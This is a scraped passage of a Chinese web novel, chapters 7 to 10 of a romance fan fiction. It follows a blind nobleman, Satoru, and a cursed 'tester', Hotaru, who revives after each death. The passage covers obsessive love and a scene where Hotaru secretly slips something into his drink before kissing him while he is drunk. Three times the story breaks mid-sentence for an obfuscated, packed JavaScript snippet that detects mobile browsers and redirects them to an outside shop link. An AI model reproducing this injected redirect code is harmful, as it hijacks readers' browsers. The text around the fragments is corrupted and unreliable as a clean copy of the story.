《白月光什么都好,除了》 7. 第 7 章 如果会感到无聊,那么一定是没有找到足以支撑自己活下去的某种事物。当人类甘愿舍弃一切只为了某种事物所呼吸时,不亚于画地为牢的慢性自杀,但的确感到很幸福对吧? 可惜一切都是浪花的泡沫,一碰就碎的虚影,那些过往的幸福会化为砒霜。人类无法吐出毒药,最后死在自以为是的幸福之中,好可怜。 只是被假象所蒙蔽的人还尚未察觉到这些异常,当他意识到一切后会不会气愤到杀了对方,也可能是懦弱地哭出声,装作什么都没发生的平静假象。 ... “小心些,这里有一道门槛,过去后就是厨房了。” 萤牵着他的手,一点点带他熟悉这个不大不小的木屋。 握紧了那只纤细略有些粗糙的手,即便眼前看不见,内心却格外充盈。另一只空闲出来的手则是在摸索着四周的物品,小心翼翼的,生怕再次打碎什么重要的东西。 看出他的局促与不安,萤伸手掐了掐悟的脸颊,听得吃痛一声,他捂着脸,更加不知所措了。 萤笑了笑,说:“东西打碎了还可以再买,如果是因为上次的事而让悟产生了不好的印象……我真的很抱歉。” “不是的——”他慌忙解释,明明那天完全是因为自己任性而造成的一切,怎么会再把责任推拖到萤的身上,这么想着,他又握紧了对方的手,张开唇,还未来得及解释。 嘴唇忽然被贴上一根柔软的指尖,她踮起脚尖,完完全全贴在他的身上,身上还有咸咸的海水气息,温热呼吸打在他的脸颊,悟这下是彻底说不出话了,下意识将怀中的人搂紧。 脊背贴在冰凉的墙壁上,身后的橱柜发出丁零声响,压住了他不断轰鸣的心跳。 狭小昏暗的木屋里,两个人缩在角落,谁都没有率先开口。 他听见萤叹息般的声音,指腹从他的眼尾渐渐向下滑,明明眼盲之人是他,却又生出对方在借用手指摸清他样貌的假象。 呼吸频率随着她的动作一同变换, 萤说:“很抱歉,这样的悟看起来实在太诱人了些。” 很难让人不去做一些恶作剧之类的糟糕事情,看着原本倔强倨傲的双眼里为自己流出泪水,那将会是多么美好的画面。 她毫无保留地流露出那种欣赏的目光,若是再细心些就可以感受到:这目光本质上与欣赏一件青白瓷古玩差不多。 可惜已经深深陷进去的悟丝毫没有察觉,他垂下眼眸,无法言说的喜悦冲击着大脑,让他想要再利用这副皮囊去博得更多的偏爱。 “好了,现在请悟抓住我的手,好好熟悉我们未来的家吧。” “……我们的家?” 他从未听过如此美好的词语, “换一个称呼?我和悟的家。” 原来这个世界上,真的存在那样神奇的话语,只要说出口就可以让人下意识笑起来。 萤牵着他的手,一点点走遍了整间木屋, 盲人会对空间大小产生失控感,直到现在,悟现在才真正了解到这间房子的大小和构造。 除去主要家具外,萤还会一个个介绍她摆放着的珍藏品们,大部分是赶海时捡到的。 整间木屋的布置可以称得上中世纪女巫,什么奇奇怪怪的东西都有,极繁主义者的天堂。 每当提起这些东西时,萤的语气都会不自觉上扬,她清楚记得每一个珍藏品的故事,若是没有什么特殊的由来,那么恭喜你,可以听见由萤独家编写的——怪诞故事集。 悟认真听着她的每一个故事,似乎可以从中拼凑出许多关于萤的过去。 “这块石头从一只妖怪的肚子里找到的,那是一个很漂亮的妖怪,名叫「濡女」,半人半蛇的样子。尾巴有非常非常长,可能有三百多米,可以轻而易举掀翻人类的船只。时不时会出现在海面礁石上,如果与它对视就会被蛊惑拖入海中,然后化为一谈血水。” 萤压低声音,讲到恐怖的地方还会模仿特意海妖腔调,不得不说,她很有这个天赋。 十分配合演出的悟坐在由竹藤编织的小板凳上,他问:“那萤是怎么从海怪肚子找到石头的?” “是秘密哦,如果悟知道了,绝对会害怕的秘密。” 即便看不见,他也知道萤的脸上一定挂着那种骄傲又洋洋得意的表情。 好可爱—— 会是什么秘密呢,他才不会害怕,有关于萤的一切他都想知道,告诉我吧,告诉我好不好,萤。 可惜萤并没有读心术,读不懂他微笑表情下的波涛汹涌。 她转过身,又开始介绍起一对摸起来就硬邦邦的大钳子。 “这个是「牛鬼」,长得有些奇怪,明明是螃蟹的身子却像牛一样的犄角。这家伙和濡女是好伙伴,两个妖怪经常同伙作案,很让出海捕鱼的人头疼呢。还好悟看不见这个,那晚上一定会做噩梦的。” 萤牵着他的手,带着他感受那只妖怪的模样。 她对这些稀奇古怪的东西展现出十足的活力,至于来历,丝毫没有提及。似乎有意要勾起听众的兴趣。 嘛,其实只要是从萤口中说出的话,都很有趣。 喋喋不休的萤忽然停下了讲话,她深呼吸一口气,有些后知后觉道:“呼,差点儿就憋死了,能和悟说这么多话真开心。” 喝下一口略苦的茶水,萤的声音听起来有些落寞,“海边虽然比较危险,但可以遇见很多冒险和奇谈,死在妖怪肚子里也好过死在山贼的刀下吧?” 她太久太久没和人谈话了,当真正遇见一个合适的聆听者时,不自觉地想要把积攒了十几年的故事一股脑都说出去。 而聆听者显然也很感兴趣,没有露出一丝一毫的不耐烦与恐惧。 她咕噜咕噜喝完一杯茶,皱眉吐了吐舌,好苦的味道。 许久没有答话的悟抓住了她的手,他说:“我喜欢萤的这些故事,可否由我来将这些故事编纂成一本书,让更多人看见萤的故事?” “欸?” “原来悟你会写字吗。” “好厉害,悟以前是个贵族没错吧。” 完全没想到关注点会这么奇怪的悟下意识点点头, 萤喃喃自语着:“让一个贵族住在这样简陋的屋子里实在太不应该了。” 她是要赶自己走 我说错什么话了,不不,我才不是贵族 萤,你绝对在撒谎,对吧 这里一点都不简陋,这里是我们的家 …… 她毫无察觉的继续说:“悟想要添置一些新家具吗?如果要一直住下去,总不能委 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15838973|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屈了悟。” 本来即将爆开的气球被瞬间抽空,他露出了柔软无辜的笑,“这样就很好了,只要和萤一直在一起,就已经很满足了…” 他握着萤的手, 不想分开。 虽然失去了许多,但本性依旧未变呢, 瞧,不过短短几周的时间, 灵魂的阴暗面就已经无限膨胀着扩大, 想要一口吃掉她,像妖怪一样把喜欢的人类拆吃入腹,这样就可以永远永远融为一体...... 他舔了舔唇, “再讲讲那些故事吧,萤。” * 骏河国的三保松原处有一个古老的传说。 那是个关于「仙女羽衣」的传说。 萤对于一切带有奇幻鬼魅色彩的故事都很感兴趣,作为孤零零生活在海边的人,也只有借用这些故事来排解孤独。 今天天气不错,萤打算带着悟去看看那棵羽衣松。 路上的徒步旅程有些无聊, 理所当然的, 萤开始讲起了自己的故事。 她并不是从小就生活在骏河国的本地人,按照儿时的模糊记忆,她似乎是为了躲避某个妖怪的追击掉进了森林树洞里。 一位看起来很老很老的婆婆把她从坑里捞了出来。 只一眼她就知道为什么老婆婆会出现在这里,因为在她的村庄也有同样民俗——“弃老”。 由于食物紧缺,年过七十的老人会由青壮年背到深山中,任由他们自生自灭,大部分老人都会死在野兽口中,更惨一些的就是被妖怪吃掉。 而那位老婆婆显然就是幸运的一个,她活了下来。 “所以,那位婆婆救了萤吗?” 悟牵着她的手穿梭在丛林之中,阳光散在身上,手心中也同样分泌出粘腻的汗水,他的心被这个故事揪了起来。 手被轻轻捏了捏,是萤在提醒他别着急。 那位婆婆说,她是所有死在这片森林里老人怨气的化身,被称为【咒灵】的存在。不过由于执念过重,她还保留一定理智。 如果萤答应她一个要求,就可以安全活着离开那片森林。 “是什么要求?” “她说她想看看圣岳山的模样,一辈子都住在圣岳山下,直到积雪融化。” 话音落下,两人的旅程也终于到达目的地。 萤望着那棵羽衣松,惟妙惟肖的向悟描述着树的模样,还有仙女羽衣的故事。 「仙女从天上坠入海底,身着的羽衣被人偷走,再也无法回到天空,故事的最后,仙女用计谋从盗贼手里夺回了羽衣,离开了这里。」 “说起来,悟也像是仙女般,就这么突兀出现在这个世界呢。”萤如此感叹了句,好像他们之间注定会分离般。 悟不喜欢这种感觉,他握紧了萤的手,固执地说:“不会的,我会舍弃所谓的羽衣,只想跟萤在一起。” 他抱住了萤,珍重许下自己的诺言。 两人静静享受着这个不带有任何杂质的拥抱,心脏跳动声逐渐同频,就这样,在羽衣松下,无声诉说着少年人最单纯的祈盼。 ...... “那个要求是诅咒,对吗?” “嗯,只要离开圣岳山就会死掉的祝福。” 8. 第 8 章 好天气没有持续太久,本来明媚的阳光被乌云遮掩,海上风浪愈勇,完全不是个适合出门的日子。 海边木屋内点亮了蜡烛,小小一间房子里只有这么点儿微弱的光源。烛光随风声一同摇曳,时不时仅剩一缕残丝,晃啊晃着,又变了回来,似乎成为一小簇永不熄灭的火焰。 悟坐在藤椅上,耳边是呼啸而过的风声,即便看不见,也能从周遭事物中感受到末日般的气息。 当不再使用眼睛去看待一切时,那么身体就会增加格外的感知,平淡事物的任何一点变化,都带有弥足珍贵的色彩。 空荡荡的家中只有他一人,为什么还要点上蜡烛呢…更何况,他已经是个盲人。 在萤离开前,他如此问。 “就像是远行船只需要火焰来指明航向, 我也需要悟,来看清家的方向。” 萤背着包裹,推门离开了。 好过分,总是可以轻易说出这样的话。 手心是温热的,那里捧着一碗肉汤,愈发灵敏的嗅觉可以轻松辨认出里面所用食材的气味……只不过一直都有一味特殊的调料,他怎么都无法形容。 是萤众多秘密中的一个。 手指慢慢在桌上摸索到了勺子,他抿了抿唇,虽然现在可以做到简单的日常生活,可并不觉得有几分喜悦—— 和萤的肢体接触变少了,不再给萤增加额外负担是件再好不过的事情,却又无比自私地想要霸占萤的所有。 他清楚知晓自己那病态般的渴求,可怎么能停下呢? 那是萤啊,如此美好的、强大的、神秘的萤。 本来散发着热气的肉汤渐渐失去了原有的温度,他一勺又一勺将其吞入腹中,冰凉黏腻的液体滑过食道,最终凝结成胃中不知名的残渣。 悟趴在床上,将整张脸都包裹在萤的气味之中。 额头渗出密密的汗渍,他用脸颊蹭了蹭那床由麻布编织而成的凉被。由贵族精心培育而成的柔软肌肤被磨得通红,带来微微麻意,他眯着眼,得到了片刻微弱满足。 可这不够,完全不够,想要得到更多。 眼睛弥漫着潮湿的雨水。 ——萤,快回家吧,我好想你。 ——萤,我好难受。 ——萤…… 落雨了,雷声轰鸣,摇曳的烛火渐渐熄灭,可惜他看不见。 * 被惦念着的萤正缩在草丛中,她弄丢了用来遮雨的蓑衣,浑身都是从山顶滚落时沾染的淤泥,脸上有许多道划痕,不过此时倒是没时间再去关心身体上的不适了。 一只银白色的巨型犬妖正呲牙死死盯着她。 好消息是,犬妖受伤了。 坏消息,她也受伤了。 粗略判断,小腿骨头错位,右手拇指被重物压到失去知觉,有坏死的可能性。浑身上下有多处骨折,轻微移动一下就会感到无休止的疼痛。 犬妖伤得也不轻,从它那虚张声势的动作里就可以看出,它也是在硬撑。 “……初次见面,真没想到最后会和妖怪一起死去。” 萤趴在地上,毫不留情的雨水将她冲落得更加狼狈。 犬妖自然是没有理会人类的自言自语,那条漂亮蓬松的尾巴被折断,浑身上下都是血迹,滴答滴答落在地面,汇聚成一个血池。 雨还在下, 似乎是察觉到对面的人类没有攻击能力了,犬妖不再呲着牙威胁,它用尾巴将身子圈起来,仅仅是这么一个简单的动作,却无比艰难,让它疼到嚎叫出声,震走了树中栖息躲雨的鸟儿。 于是它放弃了,用那副别扭的姿势躺在草丛中,静静等待着没有可能的未来。 犬妖听见人类的呼吸声正在减弱, 以人类的体质来看,能撑下这么一会儿已经算得上是奇迹了,不过对于结果没有任何影响,无非只是早死和晚死的区别而已。 或许早死一会儿还能减少几分疼痛。 雨声打乱了人类浅浅的呼吸, 它听见微弱的一句话,似乎是在说: “又死在这片森林里了吗,真倒霉啊。” 再然后,呼吸声停止了。 出于那么一点不知名的怪异心情,犬妖抬头看向了人类尸体的方向,果然,只剩下空洞肉/体的存在。或许过不了一会儿,它也会死在这里。 和人类埋葬在一起,简直是天大的笑话。 可命运就喜欢开这样的玩笑。 犬妖将脑袋缩回尾巴中,浑身毛发都被暴雨打湿,它在慢慢失去温度,冰冷随着大风一同钻进断裂的骨缝中……好困,好想睡一觉。 死后会去到哪里呢? 它后悔没有听从母亲的话,非要来到人类世界看一看——人类,果然是这个世界上最为肮脏无耻的生物。回想到自己所经历过的一切,简直气愤发抖,同时也带有无限悔恨。 伸出舌头舔了舔脖颈处的血污,浑身妖力再也无法支撑下去,让它渐渐缩小成本来的模样:一只银白色小狗。 呜咽呜咽小声嚎叫着, 在充满雾气的大雨中显得格外凄凉。 一双手将它从泥泞土地上抱起,用那叹息般的声音轻声说:“好可怜,你想用什么来交换呢?” 是梦吗?还是它死前的幻想? 犬妖用最后一点力气蹭了蹭那双温暖的手,它没有什么可以交换的,死亡就是死亡,这没什么大不了的,即便又再多不甘,生前也是快乐大于痛苦,仅此而已。 “妖怪,果然是妖怪啊。” 如此纯良幼稚的存在。 萤抚摸着犬妖已经有些打结的毛发,垂眸思索着什么。 黑猫从树杈上跳落,抖落身上的雨珠,看向地上躺着的测试员尸体,心中升起几分敬佩,它问道:“所有测试员在进入任务前都会降低疼痛值,你为什么不选择开启这项功能?” 是的,刚刚的萤确实死了。死在意外失足滚落山下,接着被大树压倒,浑身器官错位,就这样极为痛苦地死去。 还记得那个诅咒吗? 【她说她想看看圣岳山的模样,一辈子都住在圣岳山下,直到积雪融化】 只要不离开圣岳山,萤就不会死。 在原有的肉/体彻底宣告死亡后,她会从那具尸体里爬出来,重获新生。 可即便是这样,那些疼痛也是无比真实的存在。若是寻常人类或许并不会感激这个诅咒,在一次次死亡轮回中痛不欲生,最后选择离开这里,彻底拥抱死亡。 在这片森林中,她因意外死过36次; 在木屋旁的大海中,她被溺死过53次; 在不知名的许多地方,她被人类杀死21次,被妖怪杀死18次,被咒灵杀死33次……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15838974|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 死亡是真实发生的,痛苦也是真实存在的,那些尸体散落在各个角落中,有些已经腐烂变质,长满蝇虫。可唯一不同的是她还活着,向死而生。 「真的不会变成疯子吗?」黑猫想。 萤说:“人类依靠什么而活着。” “只有痛苦才可以保持清醒,这是显而易见的事实。” “所以我活了下来,那些人死去了。” 黑猫觉得测试员最初身份可能是一位孤僻的哲学家,当然,或许这也仅是测试员无数面具中的一副。 看着她怀中逐渐恢复生机的犬妖,黑猫从资料库中查到了犬妖的信息。 [凌月仙姬,杀生丸生母,犬妖一族的公主,身份尊贵] 又是个非同寻常的重要人物呢,如果攻略成功可以获得很大的评分奖励吧。 黑猫消失在雨夜之中,并由衷祝福测试员的任务继续顺利进行。 萤将犬妖放进了内衣口袋中,找到了挂在树枝上的蓑衣,踩着淤泥,一步步走向了回家的路。 雨声滴答滴答落在帽檐上,山中起了大雾,被乌云遮掩的月亮一闪一闪,如同烛火在黑夜摇曳。她跟随光亮向前走。 * 海边木屋与天空一同陷入了黑暗, 门被推开,木地板发出了咯吱声响。 还未来得及说出口的话语被一个拥抱打断,他抱着萤,将头埋进了萤的肩膀,贪婪嗅着萤身上的气味,浑身都在发抖。 一只手拍了拍他的后背,带有安抚意味,接着慢慢揉搓着他的头顶,在他耳边轻声说:“路上遇见了一些意外,所以回来晚些,很抱歉让你担心,悟。” “乖,现在松开我,好不好?” 最后三个字说得极为黏腻,好像那声音不是从嗓子里发出的,而是唇齿间积攒许久的气泡,带着水渍,自然而然流露出来了。 悟不肯放手,他在对方无底线的包容下有了底气与任性。 而且,就这么抱一会儿,仅仅只是抱一小会儿的愿望都不能满足吗? “悟。” 他听见萤的叹息声,心中升起了某些隐秘不可告人的情绪。这样还不够,还不够,他想要萤,很想很想,可以永远在一起的那种。 该怎么去表达自己呢? 没等他想到一个合适的理由,那双本来温柔的手把他推开了。 毫不留情地推开了他。 悟呆愣站在原地,有些后知后觉的不安。 萤说:“我捡到了一只小狗,很可爱,银白色的,和悟的头发一样的颜色。” ——不,拜托请别再继续说下去了。 “是在森林里捡到的,该取什么名字好呢?” ——不可以这样,不可以不可以不可以。 “既然是在月亮下找到的,那就叫月吧。真可爱呢。” “悟去休息吧,我要先帮月处理伤口。” “夜安。” 萤走了,没有丝毫犹豫。 …… 他想,是不是因为没有看管好烛火,萤讨厌他了。 要做点儿什么去道歉。 对不起对不起对不起 求你了,萤 别把目光从我身上移开 他打翻了桌上的蜡油,手心留下一片殷红,哀戚般祈求着什么, ——不要离开我,好吗? 9. 第 9 章 骤雨下了整夜,直至第二日清晨也未曾停歇。 整片海洋都笼罩在充满雾气的阴云之中,空气里也带有压抑潮湿的沉闷感,似乎仅仅是站在那里,就要被裹胁着坠入深渊。 每天都保持着良好作息的萤还没有起床,她闭着眼,呼吸均匀,是因为雨声过于安逸?还是因昨天冒雨回家而感到疲惫?还是说别的什么呢......? 悟坐在摇椅边,静静聆听着她的呼吸声,下意识调整了自己的呼吸节奏,慢慢伸出手,与她十指相扣,感受到了她的脉搏与心跳。 ——好幸福 ——如果就这样死掉也没关系吧 ——死在萤的怀抱中,死在充满海水咸湿与温暖的身体中,死在这样一个寻常又不寻常的早晨,那萤会不会永远记住他? “脸有些红,悟是不是不大舒服?” 啪嗒,梦的泡沫被戳破。 他下意识握紧了手。 而萤稍松开那只牵着她的手,想起什么要紧的事情,下了摇椅跑向昨天晚上安置犬妖的地方,那里已经空空如也。 真是单纯倔强的笨蛋妖怪。 “离开了吗...”萤微微皱起眉,看向窗外大雨,自顾自呢喃着说:“宁可冒着雨,也不愿和人类多呆一会儿。” 滴答滴答的新鲜血迹从地板蔓延至屋外,看样子还没走远。 “这可不行呐。” 随意拿把纸伞,萤头也不回地叮嘱道:“我出门一趟,很快就回来。” 嘎吱嘎吱, 是萤在木地板上疾步快行所带来的声音,她推开门,一连串呼啸的风夹杂着雨水从门缝中钻了进来,屋内苦心经营的温馨氛围也被毁于一旦。 木门被再次合拢,可那寒意却怎么也吹不走。 悟还跪坐在摇椅旁,掌心冰冷。 他想要抓住那只虚空中的手,可留给他的只有屋外磅礴的雨滴与海浪。就凭这样狼狈的自己,又有什么资格伸出手呢? 握紧脖子上挂着的海螺项链,如同溺水之人的半截浮木,他听着里面传来的声音,近乎窒息的情绪逐渐平稳下来,接着,他恍惚间回想起来: 这不对,我不应该是这样的人。 模糊记忆中,似乎只要张开手,就会有无数人向他献上珍宝,献上想要的所有,何须像现在这般呢,如此卑微? ......卑微,他愣了几秒。 这是一场并不平等的爱恋,也可以说是他咎由自取,一头栽进对方为他精心编制的迷梦中无法自拔。若是痴迷到主动遗失了自己,那究竟算是怎样一种爱呢? 一种粘腻、阴稠、肮脏、狂热的爱意。 悟下意识摸了摸自己的眼睛,那里只有白茫茫一片,什么都看不见。 不,不行。 ——我需要这双眼睛,我想要看见她,我会死死抓住她,我要她也能看见我。 站在房梁上的黑猫舔了舔爪子,它点开任务进度栏,【五条家主——目前任务进度75%】 不错,只差最后一把火了。 这家伙也算是难度很高的攻略对象了,虽说是被誉为“六眼”的神子存在,但同样逃不过咒术师都是疯子的永恒定律。 嘛,测试员,祝你好运。 ... 雨继续下着,柔软沙滩上留下一个个脚印。 好在海浪没有将这些印记冲刷干净,萤撑着伞,跟随沙滩上的小小脚印找到了离家出走的小狗。 它身上的伤还没完全好,走起路来踉踉跄跄,让人十分担心会不会下一秒就直接跌倒在原地。 浑身银白色的毛发湿漉漉沾满雨水,混合着血液的猩红,在这暴雨中似乎下一秒就要被狂风吹走,显得可怜极了。 头顶出现了一把伞,犬妖还没来得及反抗就被人直接抱了起来。 耳边传来人类轻叹般的低语:“伤还没好,就这样离开的话,可是会让我挂怀此生的。” 狡猾虚伪的人类,分明是没有从妖怪身上得到想要的酬劳才会这么说的,它不会上当。 犬妖没有说话,还是想从卑鄙的人类手中挣扎逃跑。 下一秒,后脖颈处的软肉被人类轻轻提起,纸伞被狂风吹走,一人一妖隔着雨幕对视。 就如同初见时在森林中的场景,不过弱势者从人类变为了犬妖而已。 犬妖看着眼前的人类,生平第一次如此细致地观察着一名人类: 暴雨淋湿了她,那头乌黑长发披散在肩头,苍白的脸上毫无血色,瘦瘦小小干巴巴的,除去那双饱含水气的雾色双眸外,似乎再无其它可以被称得上是活人的象征。 很奇妙的感觉,似人非人,若说是鬼魅又无那股邪气,只能形容成一副画卷,而画作主角恰好是人类而已。 她眨了眨眼,雨珠从睫毛上滴落,像是在落泪。对忽然发起呆的犬妖安抚着说:“请放心吧,我只是不想看见这样美丽的妖怪死在海边,我喜欢你的银白色尾巴。” ——用平淡语气说出了不得了的话 ——妖怪才不需要这种无意义的夸赞 ——当然,它的尾巴是所有妖怪中最好看的 犬妖在嗓子里呜咽几声,浑身依旧保持警惕,丝毫没有降低对人类的防备之心。 “你想要什么?”犬妖终于开口说话。 对方思考几秒,垂眸给出一个模糊不清的答案:“想让你记住我的存在,仅此而已。” 海风呼啸而过,犬妖看着眼前的人类,感受到了浓郁的悲伤气息。 没等它问出具体原因,对方噗呲一下笑出声,那本来凄美的氛围顷刻间消失得无影无踪。 她眉眼弯弯,脸上滴答滴答落了雨水,笑着说:“骗你的,原来妖怪都这么好骗。” ……果然是狡猾至极的人类! 气急败坏的犬妖全然不顾自己的形象,张开嘴,死死咬住人类的手掌,尖牙刺破了皮肤,渗出猩红血液。 它向来是不喜欢人类血液的味道,那里流动着肮脏与罪恶。在妖怪的世界里,吃掉的人类越多就会被慢慢同化,最终也成为浑身散发着恶臭的人类。 曾经它也因好奇尝过一点点人肉的滋味,接着立刻吐了出去,半个月都不再想接触任何肉类。难以形容的恶心与不适,带着酸臭与腐烂的气息。 不过—— 犬妖瞪大眼睛,感受着口腔中流动的血液味道,不再是那股糜烂的腐臭,很香,有一点点咸咸的海水味道,完全就是妖怪无法抵抗的美味。 妖怪的天性被激发,它想要得到更多,牙齿愈发尖锐,除去血液还在啃食着人类的骨与肉。 而那个人类一直都没说话,静默着,用另一只手轻柔抚摸着犬妖有些打结的毛发,她甚至哼起歌来,歌词听不大懂,像是源自深海的波涛声。 犬妖身上的伤在以肉眼可见的速度愈合,它停止了进食,抱着那只人类的手,用舌头舔舐上面的伤口。再没一会儿,就陷入了沉睡之中。 最后,萤捡起了被吹落在树杈上的纸伞,放在已然熟睡的犬妖头顶,望向天空中渐渐平息的大雨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15838975|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“伤好了就快点儿离开这里吧,去妖怪的世界里,别再出来了......” 她赤脚踩着沙滩,跑回海边孤零零的木屋,没有回头。 犬妖睁开半眯着的眼睛,它看向头顶遮雨的浅红色纸伞,又看向那个人类的背影,口中还残留着血液的香气。 好吧,看来真要记住这样一个狡猾人类的存在了。 ——话说起来,她叫什么名字 ——想要妖怪记住她的存在,又不肯告知姓名,这样的事怎么可能发生呢 ——如果真的要记住,也只能记住她血液中的咸湿味,有点儿像是海鱼 犬妖蜷缩着身子,在纸伞下闭上眼睡着了。雨珠落在伞面,滴答滴答声,一切似乎都静了下来,雾蒙蒙一片中,只有那抹浅红色与银白相辉映。 它会记住的,这个狡猾的人类。 ... 木地板再次发出嘎吱嘎吱的声响,听见萤湿漉漉的脚步声,她正用棉布擦拭着头发,道了句: “我回来了。” 藤椅上发呆的悟挺直着腰,他心中生了闷气,只小声应了句,没有像往常那般凑过去问东问西。 可萤似乎并没有注意他这点儿不知名的小脾气,自顾自擦干头发后迈步去了厨房。 前几日从市集淘了些酒曲,最近一直下雨,浑身上下都是沉闷的湿气,这时候喝些甜酒酿就再好不过了。 将浸泡了整夜的糯米沥干,铺在蒸布上用大火蒸上约莫半个小时,接着把酒曲碾碎后撒入糯米中搅拌,放入清水,直到可以闻见甜味就能喝了。 萤下意识伸出右手,伤口被水蒸气烫了一下,她皱起眉,换了另一只手。 舀起小半勺尝了尝味道,已经很甜了。 从橱柜里翻到昨天在森林里采集的茗荷,直接作为酱菜吃就可以了,虽然味道有些奇特。 将一切准备就绪,太阳躲在乌云后依旧没有出来。在这样一个分不清早上还是夜晚的时间里,两人面对面享用着难得的清闲。 气氛有些过于安静,只听得见碗筷碰撞时的叮当声。 悟几次想开口说话,又都止住了。他喝着不知滋味的甜酒酿,心中一阵泛酸。 这时候,萤开口说: “传闻中,如果吃下茗荷,就会遗忘些痛苦的记忆。” “......” 没有搭话。 “我以前不怎么喜欢吃茗荷,但听说这个传言后就打算试试看,没想到真的很有用,虽然记忆还在,可不再感到痛苦了。” 悟放下碗碟,他打断了萤讲述着的故事,事实上,他根本没注意对方究竟讲了些什么。 他只是固执地说:“我想要治好我的眼睛。” “...这样吗?”萤的声音顿了顿,“在圣岳山下有一间神社,据说虔诚跪拜每一阶石梯后可以让眼盲之人重见光明。” “我并不信神灵。” “那姑且相信一下我吧,那里可以实现你的夙愿。” 萤为他舀了一勺甜酒酿,将散发着柔光的天蓝色珍珠放了进去,就这么看着他毫无察觉地喝下一碗又一碗的酒酿。 他的耳朵渐渐红了起来,已经有些醉意。 然后忽然起身,踉跄几步后扑倒在萤的怀中,眼睛里弥漫着水雾,萤伸手想要替他擦去嘴角的一粒糯米,却被他死死咬住指尖。 说是咬住其实也没费多大力气,两排牙齿不停研磨着,带来一点儿痒意,萤听见他的喃喃低语: ——我想看见你,萤。 10. 第 10 章 甜酒酿的度数并不高,他却醉得一塌糊涂,任由自己沉溺于充满咸湿的海浪之中。 他趴在萤的膝盖上,仰起头,苦苦哀求着对方能给予自己那么一点点微弱的爱意。 仅有的偏爱不够, 他是个贪心的人,想要更多更多的爱,被充满、被包围起来的粘腻爱意,吃进嘴里会觉得幸福到呕吐的爱意—— 那双手划过他的唇角,带来酥酥麻麻的痒意,他张口咬住了萤的指尖,浑身燥热难耐,眼睛里充满了水雾,痴痴地说:“我想看见你,萤。” 就是这样,就是这样简单的话语,他已经在嗓子里重复过无数次的话语。 为什么还是会觉得委屈难过,我只是想要看见你的模样,让你的目光只为我一人而停留,仅此而已。 报复性地咬着萤的指尖,可又担心真的伤了她,只敢小心翼翼研磨着,口腔中似乎也充满了海水的咸湿。 太糟糕了,又想落泪了。 萤没有回话,她好像神龛上供奉着的静默雕塑,用那无悲无喜的垂眸冷眼看着属于她的信徒,她能接受信徒的所有不堪,同样也会给予你来自神灵的爱意。 可也仅限于此。 要得太多会遭到厌恶,毕竟她不是个称职的神灵。 他还在啃噬着神灵的指尖,想要将这神灵一点点拆吃入腹,和他这样卑微的信徒融为一体,生生世世都捆绑着活下去。 因为,他同样也不算是个称职的信徒。 口腔中分泌的唾液顺着眼中的泪水一同滴落,和屋外涨潮所翻涌的海浪声化为一篇盛大乐章。 神灵收回了她怜悯的手指,看着跪坐在地的可怜虫。她轻叹一声,弯腰捧住了信徒已经烫到发红的脸颊。 她说:“想要一个吻吗?” 醉醺醺的可怜虫胡乱点点头,事实上,不管对方说出多么过分的要求他都会接受,再过分一点也完全没关系。 于是,他感受到萤愈发近的呼吸。 热气扑打在脸上,他下意识屏住呼吸,迷茫无措地僵在原地,大脑只有一片空白。 如同蒲公英落在了厚厚积雪之上, 轻飘飘的梦境,似乎风一吹,就什么都么没有了。 唇与唇的贴合其实并没有什么特殊的含意,人类拥有那么多的器官,为何独独在意唇齿间这一点呢? 他在这一刻忽然就明白了。 其实什么理由也不需要,只要碰触到对方就已经感到心满意足。 但现在,还需要多一点,再多一点点… 在神灵即将离开时他拽住了对方,伸手揽住她的脖颈,直起身子吻向她。 这次不再是单纯的触碰,他试探性地伸出舌尖,先是一点点描绘着她的唇形,然后像是只狗似的用牙齿小心研磨着,他很笨,笨到不知道究竟该怎么接吻。 好在,他有一位很好的老师。 耐心教导着他该如何亲吻, 如何换气, 如何用身体表达藏不住的汹涌爱意, 如何用嘴唇在柔软肌肤上留下红印, 如何随着海浪的翻涌一同呼吸, 如何感受源自灵魂的颤栗, 以及,如何把这一切当成醉酒后的幻梦。 就是这样,嘘,别打搅了好眠。 ... 云销雨霁, 黑猫从海边回来了,它甩干毛发上沾染的点点水珠,跃上木制餐桌后开始梳理毛发。 坐在藤椅上的测试员正慢悠悠喝着甜酒酿,阳光透过竹窗撒进屋内,照亮了她的身影,亮得可以看清她脸上近乎透明的小绒毛。 许是喝了酒的缘故,惨白脸颊上有了些许红色,同样,她的唇角撕破了点儿皮,渗出一滴红色的血珠。 光芒照得太过安逸舒适,让她不由得眯起眼,睫毛的阴影落在眼底,如同两只不停颤抖的飞蛾。 甜酒酿在她手中摇摇晃晃,洒出来不少,空气里也充满了甜腻的糜烂酒气。 